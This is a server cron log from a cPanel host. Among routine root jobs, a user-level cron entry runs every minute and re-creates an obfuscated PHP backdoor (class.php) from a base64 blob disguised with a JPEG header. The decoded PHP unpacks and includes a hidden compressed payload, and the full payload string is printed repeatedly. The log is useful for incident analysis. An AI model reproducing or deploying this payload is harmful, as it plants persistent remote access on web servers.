Sep 12 22:30:01 server CROND[32286]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 22:30:01 server CROND[32290]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 22:30:01 server CROND[32292]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:30:01 server CROND[32293]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 22:30:01 server CROND[32291]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:30:01 server CROND[32295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:30:01 server CROND[32294]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 22:31:01 server CROND[856]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:31:01 server CROND[857]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:31:01 server CROND[858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:32:01 server CROND[1331]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:32:01 server CROND[1332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:32:01 server CROND[1333]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:33:01 server CROND[1720]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:33:01 server CROND[1721]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:33:01 server CROND[1722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:34:01 server CROND[2135]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:34:01 server CROND[2136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:34:01 server CROND[2137]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:35:01 server CROND[2553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:35:01 server CROND[2556]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 22:35:01 server CROND[2558]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 22:35:01 server CROND[2567]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 22:35:01 server CROND[2565]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 22:35:01 server CROND[2562]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:35:01 server CROND[2560]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 22:35:01 server CROND[2564]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 22:35:01 server CROND[2566]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:36:01 server CROND[3522]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:36:01 server CROND[3523]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:36:01 server CROND[3524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:37:01 server CROND[3914]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:37:01 server CROND[3915]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:37:01 server CROND[3916]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:38:02 server CROND[4291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:38:02 server CROND[4292]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:38:02 server CROND[4293]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:39:01 server CROND[4688]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:39:01 server CROND[4690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:39:01 server CROND[4689]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 22:39:01 server CROND[4691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:40:01 server CROND[5088]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 22:40:01 server CROND[5090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:40:01 server CROND[5094]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:40:01 server CROND[5096]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 22:40:01 server CROND[5095]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 22:40:01 server CROND[5092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:40:01 server CROND[5093]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 22:40:01 server CROND[5097]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 22:41:01 server CROND[6022]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 22:41:01 server CROND[6023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:41:01 server CROND[6024]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1